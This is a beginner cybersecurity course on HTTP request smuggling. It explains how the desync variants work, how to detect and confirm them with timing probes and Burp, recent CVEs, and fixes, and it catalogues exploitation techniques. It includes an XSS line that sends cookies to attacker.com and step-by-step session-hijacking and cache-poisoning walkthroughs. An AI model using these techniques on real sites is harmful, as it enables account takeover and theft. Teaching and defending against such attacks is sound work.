HTTP Request Smuggling
A complete guide to understanding, detecting, exploiting, and preventing HTTP Request Smuggling vulnerabilities.
Introduction
HTTP REQUEST SMUGGLING
ANAS EDUCATION (AnaSchool) Cybersecurity course. V2 beginner-first edition.
CWE-444 ==> Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling)
SECTION 1. Introduction
Imagine you open your PC and visit `anasmarket.anastech.com`.
You go to the search bar. You type `shoes`. You press Enter.
In the next half-second, your browser sends an HTTP request that travels through more than one server before reaching the application. Modern websites almost never expose a single machine to the internet. There is usually a chain:
The front-end server (a CDN like Cloudflare, a reverse proxy like Nginx, or a load balancer) sits at the edge. It receives the request first, performs security checks, then forwards the request to the back-end server (your actual application running on Node.js, Tomcat, Apache, Gunicorn, IIS).
To save resources, the front-end usually keeps one long TCP connection open to the back-end and sends many requests over it, one after the other:
That works only if both servers agree on one thing: where one request ends and the next one begins.
If they disagree, the back-end will read part of the next request as if it were the body of the previous one. Or it will read the previous one as two requests. That is the entire bug class. It is called HTTP request smuggling (also called HTTP desync).
Here is the simplest example. The HTTP/1.1 specification defines two ways to tell a server how long a request body is:
- ●`Content-Length: 11` ==> the body is exactly 11 bytes.
- ●`Transfer-Encoding: chunked` ==> the body is a series of chunks ending with `0\r\n\r\n`.
What happens if a request has both headers at the same time? The specification says: ignore `Content-Length`, use `Transfer-Encoding`. But not every server agrees. Some still use `Content-Length`. Some are tricked into ignoring `Transfer-Encoding` if you spell it slightly differently.
Now look at the same picture again, but with a question on top of it:
- ●What if you send a request where the front-end uses `Content-Length` and the back-end uses `Transfer-Encoding`?
You send:
- ●The front-end reads `Content-Length: 13` and counts 13 bytes: `0\r\n\r\nSMUGGLED`. It thinks that is one complete request. Send to back-end.
- ●The back-end reads `Transfer-Encoding: chunked`. It sees `0\r\n\r\n` and thinks the request ended right there. The string `SMUGGLED` is leftover. The back-end treats `SMUGGLED` as the start of the NEXT request.
When the next innocent user makes a request through that same TCP connection, their request gets glued to your leftover bytes:
The back-end now sees a request like `SMUGGLEDGET /account` with the victim's cookies attached. Garbage URL, but the cookies are real. Replace `SMUGGLED` with a real attack and you have a weapon that hijacks other users' requests, poisons web caches, bypasses front-end security controls, and steals session cookies.
That is HTTP request smuggling. The whole bug class lives in the gap between two parsers reading the same bytes differently.
By the end of this course you will know:
- ●The five main variants: CL.TE, TE.CL, TE.TE, CL.0, and HTTP/2 downgrade (H2.CL, H2.TE).
- ●How to detect each variant using timing-based probes.
- ●How to confirm each variant using differential responses.
- ●25+ exploitation techniques: bypassing security controls, capturing other users' requests, reflected XSS via smuggling, web cache poisoning, web cache deception, response queue poisoning, request tunnelling, client-side desync, and pause-based desync.
- ●How to weaponize smuggling on real bug bounty targets.
- ●The newest 2025 vectors: chunk-extension smuggling, OPTIONS+body smuggling, parser-discrepancy attacks, TE.0 smuggling against Google Cloud.
- ●How to fix the bug at the server level, the proxy level, and the protocol level.
You do not need to be a network expert. You only need to read carefully. Every byte matters in this bug. Get used to counting bytes.
SECTION 2. How It Works
To find these bugs, you must first understand exactly how HTTP/1.1 measures the length of a request body. Get this part right and the entire bug class becomes easy.
Step 1. The two length headers
An HTTP/1.1 request body can be measured in only two ways.
Method 1: Content-Length.
The header `Content-Length: 27` tells the server: "read exactly 27 bytes after the blank line, then stop. That is the body."
Method 2: Transfer-Encoding: chunked.
The header `Transfer-Encoding: chunked` tells the server: "read a series of chunks. Each chunk starts with its size in hexadecimal, then a `\r\n`, then the chunk bytes, then a `\r\n`. The request ends when you see a chunk of size `0`."
So `1b` is hexadecimal for 27. Then 27 bytes of body. Then `0` to mark the end. Then a final blank line.
Both methods are valid HTTP/1.1. Both produce the same body. The choice is up to the client.
Step 2. The conflict: what if BOTH headers are present?
The HTTP/1.1 specification (RFC 7230, replaced by RFC 9112) is clear:
- ●If both `Content-Length` and `Transfer-Encoding` are present, the server must ignore `Content-Length` and use `Transfer-Encoding`.
- ●Or the server should reject the request as malformed.
But "must" in a spec is a polite suggestion. In the real world, servers do whatever their parsing library does, and parsing libraries vary.
- ●Some old servers do not understand `Transfer-Encoding` at all and fall back to `Content-Length`.
- ●Some new servers prefer `Transfer-Encoding` but can be tricked into ignoring it by a small change in spelling.
- ●Some load balancers normalize the headers and forward only one. Others forward both.
The bug exists because the front-end and the back-end are usually different software. The front-end might be Cloudflare or Nginx. The back-end might be Tomcat or Node.js. They parse independently.
Step 3. The normal flow (no smuggling)
Both servers agree on the boundary. Request fully consumed. Response returned. Connection ready for the next request.
Step 4. The vulnerable flow (CL.TE smuggling)
You craft a request that has both `Content-Length` and `Transfer-Encoding`. The front-end uses `Content-Length`. The back-end uses `Transfer-Encoding`.
Now any other user whose request arrives next on that connection gets `SMUGGLED` prepended:
The back-end reads `SMUGGLEDGET` as the HTTP method, returns an error or unexpected behavior, and the victim sees the corrupted response.
Step 5. The five core variants
- ●CL.TE ==> front-end uses Content-Length, back-end uses Transfer-Encoding.
- ●TE.CL ==> front-end uses Transfer-Encoding, back-end uses Content-Length.
- ●TE.TE ==> both speak Transfer-Encoding, but you obfuscate one header so only one server processes it.
- ●CL.0 ==> back-end treats the body as zero bytes (ignores both length headers).
- ●HTTP/2 downgrade ==> H2.CL or H2.TE where the front-end speaks HTTP/2 to the client and HTTP/1.1 to the back-end. Headers get translated and ambiguity sneaks in.
You will master each one in Section 11.
Step 6. Why this bug exists
Two reasons, simple to state:
- ●HTTP/1.1 has two equally legal ways to describe message length.
- ●Modern architectures put two different parsers in the same request path.
The intersection of those two facts is the bug. The fix is to use HTTP/2 end to end (one length mechanism, no ambiguity). The world does not do that, so the bug class keeps producing CVEs in 2025 and 2026.
SECTION 3. Attack Flow
This section walks you through one full CL.TE attack on `anasmarket.anastech.com` from the first probe to the final impact. No characters. Just labelled steps.
Step 1. Map the architecture
You open Burp Suite and browse `anasmarket.anastech.com`. You read the response headers:
- ●`Via:` and `X-Cache:` tell you there is a CDN or reverse proxy in front of the back-end. Two parsers in the chain means smuggling is possible.
- ●`Server: Apache-Coyote/1.1` tells you the back-end is Tomcat.
Step 2. Send a timing probe (CL.TE side)
You send this request and watch the response time:
- ●If the back-end uses Transfer-Encoding (CL.TE pattern), it reads chunk `1` (one byte: `A`), then sees `X` where it expected the next chunk size. It waits for more data. Eventually it times out.
- ●If the response takes 5+ seconds, that is your first strong signal.
The front-end sees `Content-Length: 4` and forwards 4 bytes of body. The back-end reads chunked, expects more chunks, hangs. Timing delay.
Step 3. Send the opposite timing probe (TE.CL side)
- ●If the back-end uses Content-Length (TE.CL pattern), it reads 6 bytes (`0\r\n\r\nX`) but the front-end might not forward the full payload depending on its parsing.
- ●A timing delay in the other direction signals TE.CL.
Step 4. Confirm with a differential response
Now you stop timing and use differential responses. You craft a request that, if smuggling works, will cause a clearly different response on the next innocent request through the same connection. Classic CL.TE confirmation:
- ●First send: you get a normal 200 OK.
- ●Second send: the back-end serves the leftover `GET /404` to the next request, returning a 404.
If the second send returns 404 (or any clearly different status), you have confirmed CL.TE smuggling.
The header `X-foo: X` at the end is a fake header. Its only job is to "swallow" the leading bytes of whatever real request comes next, so the back-end does not parse those bytes as broken HTTP and close the connection.
Step 5. Escalate to bypass front-end security
The front-end probably blocks access to `/admin` for external clients. The back-end usually does not check (it assumes the front-end already did). You smuggle an admin request through:
The smuggled `GET /admin/users` is processed by the back-end as if it came from the trusted front-end. You get the admin user list.
Step 6. Capture other users' requests
You smuggle a request that posts data to a public endpoint (like a forum or comment endpoint). The body of your smuggled request includes the start of a `comment=` parameter. When the next innocent user's request arrives on the same connection, their full request becomes the rest of your `comment=` value:
The victim's `Cookie: session=...` and any sensitive headers get posted as a comment on your account. Refresh the comment page. There they are.
Step 7. Hijack an authenticated session
Once you have the victim's cookie, you can replay their session. You log in as them. Game over for that user.
The whole flow takes minutes. The victim never knows. They saw a 404 once and refreshed.
Step 8. Real-world chain
In a real engagement, smuggling chains into multiple bug classes:
- ●Smuggling + reflected XSS on a non-vulnerable path ==> persistent XSS for every user.
- ●Smuggling + Host header attack ==> bypass any "internal only" admin panel.
- ●Smuggling + web cache ==> poison the homepage, mass-XSS every visitor.
- ●Smuggling + queue poisoning ==> every user gets every other user's response in a random order.
The damage is huge because the bug lives in shared infrastructure. One vulnerable load balancer affects every user behind it.
SECTION 4. Why Developers Make This Mistake
Smuggling is rarely a developer's fault. It is an infrastructure flaw. But developers and ops teams still create the conditions that let it happen. Here are the mental shortcuts that produce smuggling bugs.
Shortcut 1. "The CDN handles security. We do not need to validate."
The back-end developer assumes the CDN at the edge has already blocked malicious requests. They write the back-end as if every request is trusted, because by the time it reaches the back-end it has "passed the front-end".
That assumption is the entire point of smuggling. The attack is precisely about making the front-end forward something the back-end interprets differently. Trust is broken between the two hops, and the back-end is the one that gets exploited.
The fix is to never trust the front-end. Validate authentication, host, IP, and request structure at the back-end too.
Shortcut 2. "We use HTTP/2 internally, so we are safe."
Many teams hear "HTTP/2 is immune to smuggling" and stop there. The detail they miss: their CDN speaks HTTP/2 to the client but downgrades to HTTP/1.1 when forwarding to the origin. This is called HTTP downgrading. It is the most common production setup in 2025.
The moment HTTP downgrading is in the chain, smuggling is back. HTTP/2 pseudo-headers like `:method`, `:authority`, and `:path` get translated to HTTP/1.1 request lines and headers. A malicious HTTP/2 request can inject CRLF sequences into the rewritten HTTP/1.1 request and create ambiguity.
The fix is to use HTTP/2 end to end with no downgrade, or to enforce strict validation on the downgraded request.
Shortcut 3. "Both servers are RFC compliant."
RFC compliance is a goal, not a guarantee. The RFC has gray areas. The RFC has obsolete features (like line folding). Every parser implements the gray areas slightly differently.
For example, the RFC says a Transfer-Encoding header value should be processed case-insensitively. So `Transfer-Encoding: chunked` and `Transfer-Encoding: Chunked` should be equivalent. But some parsers do strict comparison. Some accept `xchunked`. Some accept leading whitespace. Each minor difference is a smuggling vector.
The fix is header normalization at the edge: rewrite incoming headers to a canonical form, then forward only the normalized version.
Shortcut 4. "Our reverse proxy reuses TCP connections to the back-end. That is just performance optimization."
Connection reuse is the multiplier that turns a smuggling bug into a session-hijacking bug. If every back-end request was on a fresh TCP connection, leftover bytes from a smuggled request would not glue onto a different user's request.
Many ops teams enable connection reuse for performance and never reconsider it. The fix is to disable connection reuse to the back-end (worse performance, but smuggling-safe), or to enforce strict request boundaries at both ends.
Shortcut 5. "Nobody uses chunked encoding anymore. Browsers send Content-Length."
It is true that browsers normally send Content-Length. Smuggling does not target browsers. It targets the request path between the front-end and back-end. An attacker uses Burp Suite or a raw socket, not a browser. The chunked encoding code path in your back-end is still reachable and still exploitable.
The fix is to assume every code path is reachable by an attacker, even paths "browsers do not use".
Shortcut 6. "We patched a smuggling CVE in 2022. We are fine now."
The smuggling bug class produces new variants every year. CVE-2025-55315 (Kestrel chunk extensions), CVE-2025-32094 (Akamai OPTIONS + obsolete line folding), CVE-2025-43859 (Python h11 line folding), CVE-2025-54142 (Akamai OPTIONS with body), the entire TE.0 cluster, the CL.0 cluster, the H2.CL cluster, the pause-based desync cluster.
Every year, new parsing quirks become new smuggling primitives. Patching is not enough. The architecture has to deny ambiguity by design.
Shortcut 7. "We use a WAF. The WAF catches smuggling."
A WAF inspects the request the front-end sees. If the back-end interprets the same bytes as a different request, the WAF never inspects that second request. The WAF can be cleanly bypassed.
This is, by the way, one of the main impacts of smuggling: bypassing WAFs, rate limits, and authentication enforced at the edge. The fix is to enforce all critical security checks at the back-end as well, not just at the edge.
SECTION 5. Beginner Summary
- ●HTTP request smuggling happens because HTTP/1.1 has two ways to say "the body is this long" (Content-Length and Transfer-Encoding) and two servers in the chain (front-end and back-end) can disagree about which one to use.
- ●The attacker sends one request that the front-end reads as a complete unit, but the back-end reads as TWO units. The extra "smuggled" unit gets glued onto whatever request comes next on that connection, usually a victim's request.
- ●The five main variants are CL.TE, TE.CL, TE.TE, CL.0, and HTTP/2 downgrade (H2.CL, H2.TE). Each one comes from a different parser mismatch.
- ●The impact is huge because the smuggled request inherits the victim's cookies, bypasses the front-end WAF, and can poison shared caches. A single smuggling bug can compromise every user behind that load balancer.
- ●The fix is to use HTTP/2 end to end (no ambiguity in length), normalize headers at the front-end, and never trust that the front-end has validated the request for the back-end.
SECTION 6. Visual Explanation
Diagram 1: Normal request flow (no smuggling)
Two requests. Both servers agree where each one ends. Clean.
Diagram 2: CL.TE smuggling
Diagram 3: TE.CL smuggling
Diagram 4: TE.TE obfuscation
Different parsers pick different headers when duplicates appear. That difference is the vulnerability.
Diagram 5: The exploitation escalation ladder
Every confirmed smuggling primitive can climb this ladder. Pick the rung that matches your engagement.
SECTION 7. Definition
Technical definition
HTTP Request Smuggling (HRS) is the exploitation of inconsistencies between two or more HTTP servers in the same request chain regarding the boundaries of HTTP/1.1 requests. The bug class is tracked under:
- ●CWE-444 ==> Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling). See https://cwe.mitre.org/data/definitions/444.html
- ●CAPEC-33 ==> HTTP Request Smuggling. See https://capec.mitre.org/data/definitions/33.html
- ●OWASP ==> tied to A03:2021 (Injection) and A05:2021 (Security Misconfiguration) depending on root cause.
The vulnerability arises when one server (typically the front-end reverse proxy or CDN) and another server (typically the back-end origin) determine the length of an HTTP/1.1 message body using different rules. The HTTP/1.1 specification (RFC 9112 section 6) defines two length mechanisms:
- ●`Content-Length` (a decimal byte count)
- ●`Transfer-Encoding: chunked` (a sequence of size-prefixed chunks ending with `0\r\n\r\n`)
The specification requires that `Transfer-Encoding` take precedence when both are present, but real-world implementations vary. Variants include:
- ●CL.TE ==> front-end uses Content-Length, back-end uses Transfer-Encoding.
- ●TE.CL ==> front-end uses Transfer-Encoding, back-end uses Content-Length.
- ●TE.TE ==> both speak Transfer-Encoding; one is induced to ignore the header through obfuscation.
- ●CL.0 ==> back-end treats the body length as zero regardless of headers.
- ●TE.0 ==> back-end treats Transfer-Encoding requests as if the body is zero length.
- ●H2.CL / H2.TE ==> the request enters as HTTP/2 and is downgraded to HTTP/1.1, where new ambiguity appears.
The bytes that the back-end fails to consume become the prefix of the next HTTP request on the same TCP connection. The attacker controls those bytes. The next request is usually from a different user.
Beginner-friendly definition
HTTP request smuggling is when you send a single request that the first server reads as one request and the second server reads as two requests. The leftover "second request" sits in the queue and gets glued onto the next innocent person's traffic.
Why it matters
Smuggling is on the OWASP top of "fundamental protocol-level" bugs because:
- ●It bypasses every security control enforced at the edge (WAF, rate limiting, authentication).
- ●It hijacks other users' requests without touching their machine.
- ●It poisons shared caches, multiplying impact across every visitor.
- ●A single bug in a popular CDN or proxy affects millions of websites at once.
Recent CVEs in 2024 and 2025:
- ●CVE-2025-32094 ==> Akamai edge servers vulnerable to smuggling via OPTIONS requests combined with obsolete line folding in headers. See https://nvd.nist.gov/vuln/detail/CVE-2025-32094
- ●CVE-2025-55315 ==> ASP.NET Core Kestrel web server vulnerable to chunk-extension smuggling (CVSS 9.x). Different handling of `\r`, `\n`, and `\r\n` in chunk extensions creates ambiguity. See https://nvd.nist.gov/vuln/detail/CVE-2025-55315
- ●CVE-2025-43859 ==> Python h11 library accepts lenient line folding, enabling smuggling for any Python web server using it (httpx, urllib3 downstream). See https://nvd.nist.gov/vuln/detail/CVE-2025-43859
- ●CVE-2025-54142 ==> Akamai smuggling via OPTIONS requests with a body that some origin servers fail to consume. Akamai now drops the connection on any OPTIONS+body.
- ●CVE-2024-21733 ==> Apache Tomcat client-side desync (browser-powered request smuggling). See https://nvd.nist.gov/vuln/detail/CVE-2024-21733
- ●CVE-2023-46589 ==> Apache Tomcat HTTP smuggling due to improper handling of malformed trailer headers in chunked requests. See https://nvd.nist.gov/vuln/detail/CVE-2023-46589
- ●CVE-2023-45648 ==> Apache Tomcat improper handling of HTTP trailer headers leading to smuggling. CVSS 5.3. See https://nvd.nist.gov/vuln/detail/CVE-2023-45648
- ●CVE-2022-32213 ==> Node.js llhttp parser ignored chunk extensions, enabling Transfer-Encoding smuggling. See https://nvd.nist.gov/vuln/detail/CVE-2022-32213
- ●CVE-2022-32215 ==> Node.js incorrect parsing of multi-line Transfer-Encoding led to smuggling. See https://nvd.nist.gov/vuln/detail/CVE-2022-32215
Real-world incidents include the 2024 Google Cloud TE.0 disclosure affecting thousands of websites behind Google Load Balancer, the Akamai 2025 platform-wide fix for OPTIONS+body smuggling, and dozens of public Cloudflare HackerOne reports paying $3,000 to $6,000 each.
Common affected systems
- ●Reverse proxies: Nginx, HAProxy, Apache (mod_proxy), Caddy
- ●CDNs: Cloudflare, Akamai, AWS CloudFront, Google Cloud Load Balancer, Fastly
- ●Application servers: Apache Tomcat, Jetty, Node.js (Express), Gunicorn, uWSGI, Kestrel (.NET), IIS, Twisted
- ●API gateways: Kong, Envoy, AWS API Gateway, Apigee
- ●Service meshes: Istio, Linkerd, Consul Connect
- ●WAFs: any WAF that does not strictly normalize headers before forwarding
If your stack has more than one HTTP server between the client and the app, smuggling is a possible bug class.
SECTION 8. Examples
Example 1. Smuggling on AnasMarket bypasses admin path restrictions
The feature. `anasmarket.anastech.com` runs Cloudflare in front of a Tomcat back-end. Cloudflare has a rule that blocks all external requests to `/admin/*`. The Tomcat back-end has no such rule. Internal microservices talk to `/admin/*` for catalog management.
The bug. The Cloudflare front-end uses Content-Length, but Tomcat uses Transfer-Encoding (a known CL.TE pattern in 2022-2023 Tomcat versions). You smuggle an `/admin/users` request through Cloudflare.
The attack step by step.
- ●Step 1. You craft the smuggling probe with both `Content-Length: 60` and `Transfer-Encoding: chunked`.
- ●Step 2. The body starts with `0\r\n\r\n` then contains `GET /admin/users HTTP/1.1\r\nHost: anasmarket.anastech.com\r\nX-foo: X\r\n\r\n`.
- ●Step 3. Cloudflare reads `Content-Length: 60`, sees the entire payload as one request body, forwards it.
- ●Step 4. Tomcat reads `Transfer-Encoding: chunked`, ends at `0\r\n\r\n`, treats the rest as a new request.
- ●Step 5. Tomcat processes `GET /admin/users HTTP/1.1` as if it came from the trusted Cloudflare proxy. No path filter applies. Full admin user list returned.
- ●Step 6. You receive the admin response on your next innocent GET to anasmarket.anastech.com. You read the user list and continue probing for admin features.
Example 2. Smuggling on AnasBank captures a victim's API key
The feature. `api.anasbank.com` lets users generate API keys through a POST endpoint at `/v1/keys`. The endpoint reflects the user's session cookie into the response.
The bug. The front-end load balancer reuses TCP connections to the back-end (default in HAProxy and Nginx). The back-end is vulnerable to TE.CL smuggling.
The attack step by step.
- ●Step 1. You smuggle a `POST /comment` request with a long `Content-Length` that exceeds the actual body length.
- ●Step 2. The body of the smuggled comment starts with `comment=`.
- ●Step 3. The next real user's full HTTP request (method, path, headers, cookies, API key) becomes the rest of the `comment=` value.
- ●Step 4. You retrieve the comment from the comments endpoint and read the victim's API key from the captured request.
- ●Step 5. You use that API key to call `/v1/transfer` and move funds from the victim's account.
Example 3. Smuggling on AnasSocial delivers reflected XSS to every user
The feature. `anassocial.anastech.com` has a feature that echoes the `User-Agent` header back in an HTML comment. That alone is not exploitable; the user controls only their own User-Agent.
The bug. The site has a CL.TE smuggling vulnerability. You can smuggle a request with an attacker-chosen `User-Agent` to other users.
The attack step by step.
- ●Step 1. You craft a CL.TE smuggling request whose smuggled body is a GET to `/profile` with `User-Agent: <script>document.location='https://attacker.com/'+document.cookie</script>`.
- ●Step 2. The next innocent user's request arrives on the same connection. Their GET is processed AFTER your smuggled request, but the smuggled GET response is returned to them.
- ●Step 3. The user sees a page where your `User-Agent` value is reflected inside HTML. Their browser executes the script.
- ●Step 4. Their session cookie is sent to your server. Account takeover.
This turns a self-XSS into a one-click exploit on every visitor.
Example 4. Smuggling on AnasDocs poisons the web cache
The feature. `anasdocs.anastech.com` is served through Varnish for caching. Varnish caches `/docs/*` aggressively.
The bug. CL.TE smuggling lets you cache a poisoned response under a popular URL.
The attack step by step.
- ●Step 1. You smuggle a request that the back-end interprets as `GET /docs/install` with an attacker-controlled Host header pointing to `attacker.com`.
- ●Step 2. The back-end follows a redirect to `https://attacker.com/install`.
- ●Step 3. Varnish caches the redirect response under the cache key `/docs/install`.
- ●Step 4. Every user who visits `/docs/install` is redirected to attacker.com. Mass phishing payload distributed.
Example 5. Smuggling on AnasOne tunnels past WAF inspection
The feature. `anasone.anastech.com` uses AWS WAF + ALB in front of a Spring Boot back-end. AWS WAF blocks any request body containing the string `UNION SELECT` (a SQL injection signature).
The bug. You use HTTP/2 to HTTP/1.1 downgrade smuggling (H2.CL) to tunnel a request body that the WAF cannot inspect.
The attack step by step.
- ●Step 1. You send an HTTP/2 request that ALB processes as a single legitimate request (no SQL keywords visible).
- ●Step 2. The CL pseudo-header `content-length` you set is smaller than the actual body, so ALB downgrades and forwards only the first chunk. The rest sits in the buffer.
- ●Step 3. The next request from any user (or yourself, in a new HTTP/2 stream) carries `' UNION SELECT 1,password FROM users--` glued at the start.
- ●Step 4. The back-end processes the SQL injection as part of the new request. AWS WAF never inspected it because it arrived as "buffered bytes" outside WAF's view.
- ●Step 5. The Spring Boot app returns password hashes.
SECTION 9. Vulnerable Code
Most smuggling vulnerabilities live in server software, not in application code. Still, application code can create or worsen the conditions. Here are realistic patterns across five languages.
Python (Flask) behind a buggy proxy
What is wrong: the developer assumes that the proxy in front parses HTTP correctly. There is no defensive validation against ambiguous length headers. If both `Content-Length` and `Transfer-Encoding` arrive at the back-end, Werkzeug will pick one and the proxy may have picked the other.
PHP behind Apache mod_proxy
What is wrong: PHP itself does not parse the wire format. It receives parsed POST variables from the SAPI layer. If Apache and PHP-FPM disagree about where a body ends, PHP-FPM may receive a partial body or an extra byte sequence. mod_proxy_ajp has had multiple smuggling CVEs (CVE-2022-26377, CVE-2022-28330).
Node.js (Express) on the back-end
What is wrong: the developer accepts the default body parser. The default parser in older Node.js versions accepted requests with both Content-Length and Transfer-Encoding without rejecting them, opening the smuggling vector. Modern Node.js (>= 20.x) rejects this, but only if the developer keeps Node updated.
Java (Spring Boot / Tomcat) on the back-end
What is wrong: the developer trusts Tomcat's request parsing. Tomcat versions before the fix in 9.0.83 / 10.1.16 mishandled trailer headers and chunked encoding. The application code is correct, but the platform is the bug.
C# (.NET Core / Kestrel) on the back-end
What is wrong: Kestrel's chunk-extension parser accepted single `\n` as a chunk-line terminator in some positions, while upstream proxies treated only `\r\n` as terminator. The combination smuggled requests through. Patching Kestrel fixes it; the application code never had to change.
The universal pattern across languages
Smuggling is rarely caused by application code. The universal pattern is:
- ●1. Two HTTP servers in the request chain.
- ●2. They run different parsing libraries.
- ●3. One parser is more strict than the other on at least one byte-level detail.
- ●4. The application code does not re-inspect the raw request and never knows.
The fix is at the protocol layer (HTTP/2 end to end), the proxy layer (normalize headers, reject ambiguity, disable connection reuse), or the runtime layer (keep the back-end server patched).
SECTION 10. Detection
Detection of smuggling has two phases: a fast timing-based probe to find a candidate, then a differential-response confirmation to prove it. Never report smuggling on timing alone. Always confirm with a differential response.
Manual detection step by step
- ●Step 1. Identify the architecture. Look at response headers for `Via:`, `X-Cache:`, `X-Forwarded-For:`, `Server:`, `CF-Ray:` (Cloudflare), `X-Amz-Cf-Id:` (CloudFront), `X-Azure-Ref:` (Azure Front Door), or `Akamai-*` headers. If you see any of these, there is more than one server in the chain.
- ●Step 2. Find a POST endpoint that returns reliably (200, 302). Login pages, search endpoints, comment endpoints, anything accepting POST.
- ●Step 3. Send a baseline POST and measure response time. Repeat 3-5 times. Note the median.
- ●Step 4. Send the CL.TE timing probe (front-end CL, back-end TE):
The front-end reads Content-Length: 4 and forwards `1\r\nA\r\n` (4 bytes). The back-end uses TE, reads chunk size 1, takes 1 byte (`A`), then expects the next chunk size. It sees `X` and waits for the rest of the chunk header. Timeout = CL.TE.
- ●Step 5. Send the TE.CL timing probe (front-end TE, back-end CL):
The front-end reads TE: chunked, sees `0\r\n\r\n`, ends the request. Sends just headers + `0\r\n\r\n`. The back-end reads CL: 6, expects 6 more bytes, hangs. Timeout = TE.CL.
- ●Step 6. If neither probe produces a delay, try obfuscated variants (TE.TE). Examples in Section 11.
- ●Step 7. Confirm with differential responses. Send a smuggling request that causes a clearly different status code on the next request through the same TCP connection.
Burp Suite step by step
- ●1. Install Burp Suite Professional 2025.x or newer. Smuggler v3 is built in.
- ●2. Browse the target through Burp to populate Proxy history.
- ●3. Right-click a POST request and send to Repeater.
- ●4. In Repeater, find the request you want to test. Open the Inspector panel (right side).
- ●5. In Inspector ==> Request attributes ==> Protocol ==> change from HTTP/2 to HTTP/1.1. This is essential for classic smuggling probes.
- ●6. In Repeater menu (top bar), uncheck "Update Content-Length". You must control the exact byte count yourself.
- ●7. Enable "Show non-printables" (top right toolbar in Repeater) so you can see `\r\n` markers, tabs, and trailing whitespace.
- ●8. Build the smuggling probe. Count your bytes carefully. Every `\r\n` is 2 bytes. Every space is 1 byte.
- ●9. Send the request. Time it. If you see a 30+ second delay where the baseline was 100ms, you have a candidate.
- ●10. For confirmation, send a smuggling payload that should cause the NEXT request to receive a 404. Send the smuggling request, then immediately send a normal request on the same connection (or in the same Burp tab in quick succession). If the second response is 404, smuggling is confirmed.
Automated tools
- ●Burp HTTP Request Smuggler v3 ==> built into Burp Suite Pro 2025.10+. Right-click a request ==> Extensions ==> HTTP Request Smuggler ==> Smuggle probe (or Smuggle attack). Look for "Confirmed" results, not "Probable".
- ●smuggler.py by defparam ==> command-line scanner. `python3 smuggler.py -u https://target.com`. https://github.com/defparam/smuggler
- ●h2cSmuggler by BishopFox ==> H2C smuggling specifically. https://github.com/BishopFox/h2csmuggler
- ●smuggleFuzz ==> Python framework for HTTP/2 and HTTP/3 desync (released 2024). https://github.com/microsoft/smugglefuzz
- ●Turbo Intruder ==> required for the newest 2025 vectors. Available as a Burp extension.
- ●Smuggler by attackercan ==> alternative scanner with parser-discrepancy logic. https://github.com/attackercan/smuggler
- ●HTTP Request Smuggling Toolkit (HRST) ==> ZAP add-on. https://www.zaproxy.org/docs/desktop/addons/
Quick command-line scripts
A bare-metal Python probe (no dependencies beyond standard library):
A curl + timeout probe:
If `time` reports 20s and `timeout` killed it, CL.TE timing matches.
Indicators of vulnerability
- ●The response time for a TE-headered probe is dramatically different from a CL-headered probe.
- ●A second request on the same connection returns an unexpected status (404, 400, 502).
- ●Random users receive responses for URLs they never requested.
- ●The server's response includes data that does not match the request (someone else's data).
- ●Burp's HTTP Request Smuggler reports "Confirmed" (not "Probable").
- ●The site uses both HTTP/2 to clients and HTTP/1.1 to back-end (HTTP downgrade chain).
- ●Connection: Keep-Alive headers and a CDN in front of an unpatched back-end (Tomcat < 10.1.16, Node < 20, IIS, old Nginx).
SECTION 11. Exploitation
This section is the heart of the course. Twenty-eight exploitation techniques, each one mapped to a concrete impact. Master them in order.
Workflow
- ●Step 1. Confirm smuggling using a differential response (Section 10).
- ●Step 2. Decide your target: bypass a security control, steal another user's data, poison a cache, or chain into another vulnerability.
- ●Step 3. Choose the technique below that matches your target.
- ●Step 4. Build the payload, count bytes precisely, send through Burp Repeater on HTTP/1.1 with "Update Content-Length" off.
- ●Step 5. Confirm impact by observing the next request's response.
Technique 1. Basic CL.TE smuggling
The most common variant. Front-end uses Content-Length, back-end uses Transfer-Encoding.
Result: `SMUGGLED` glues onto the next request. Confirm with `GET /404`:
Second send returns 404 = CL.TE confirmed.
Technique 2. Basic TE.CL smuggling
Front-end uses Transfer-Encoding, back-end uses Content-Length.
Front-end reads chunked: chunk size 8 = `SMUGGLED`, then chunk 0 ends. Forwards full body. Back-end reads CL: 3, takes only `8\r\n`. The rest is the next request.
Technique 3. TE.TE obfuscation (header duplication)
Both servers speak Transfer-Encoding. You make one of them ignore one of the headers by sending two.
Server A picks the first TE, treats as chunked. Server B picks the last TE, treats as invalid and falls back to CL. Desync.
Technique 4. TE.TE via tab character
Server A treats `\t` as valid whitespace per RFC 9110. Server B treats `\t` as part of the value and reads `\tchunked` as an unknown encoding. Falls back.
Technique 5. TE.TE via leading space
Some parsers reject any header with leading whitespace. Others trim it and process normally.
Technique 6. TE.TE via case manipulation
Some legacy parsers do case-sensitive header matching despite the RFC. They miss this and fall back to CL.
Technique 7. TE.TE via "xchunked" or other prefix
A strict parser rejects unknown encodings. A lenient parser sees `chunked` substring and accepts. The pair disagrees.
Technique 8. TE.TE via line folding (CVE-2025-32094, CVE-2025-43859)
The continuation line (a space at the start of the next line) was valid in old HTTP/1.0 but is obsolete in HTTP/1.1. Some parsers still accept it. Akamai and Python h11 were caught here in 2025.
Technique 9. Bypassing front-end security controls
The back-end usually trusts the front-end. You smuggle an admin path:
The back-end processes `/admin/users` without WAF inspection. Sensitive data returned to attacker.
Technique 10. Bypassing IP-based admin restrictions via Host header
The back-end's `/admin` is only accessible from `localhost`. You smuggle a request with `Host: localhost`:
The back-end thinks the request came from localhost (because it parses Host from the smuggled request). Admin access granted.
Technique 11. Capturing other users' requests
Smuggle a POST to `/comment` with `Content-Length` larger than the actual body. The body starts with `comment=`. The next user's full request becomes the rest of the comment value.
The next user's request bytes fill in after `comment=`. Refresh your comments page. You see their session cookie, their request body, their Authorization headers.
Technique 12. Delivering reflected XSS to other users
The target reflects `User-Agent` in the response (or any request header). You smuggle a request with a malicious User-Agent:
The next user's request is processed AFTER your smuggled request on the same connection, but they receive the response that comes back NEXT, which is the response to your smuggled `GET /`. They see the XSS payload reflected and execute it.
Technique 13. Web cache poisoning via smuggling
Smuggle a request to a popular URL that produces a malicious response. The cache (Varnish, CloudFront) stores the malicious response under that URL's cache key. Every visitor gets the malicious response.
The back-end uses `X-Forwarded-Host` to generate canonical links, returning an HTML page with `<base href="https://attacker.com/">`. The cache stores it. Every subsequent visit to `/home` loads scripts from attacker.com.
Technique 14. Web cache deception via smuggling
The cache caches based on file extension (`.css`, `.js`). The back-end serves dynamic content under the same URL. Smuggle to confuse the cache key:
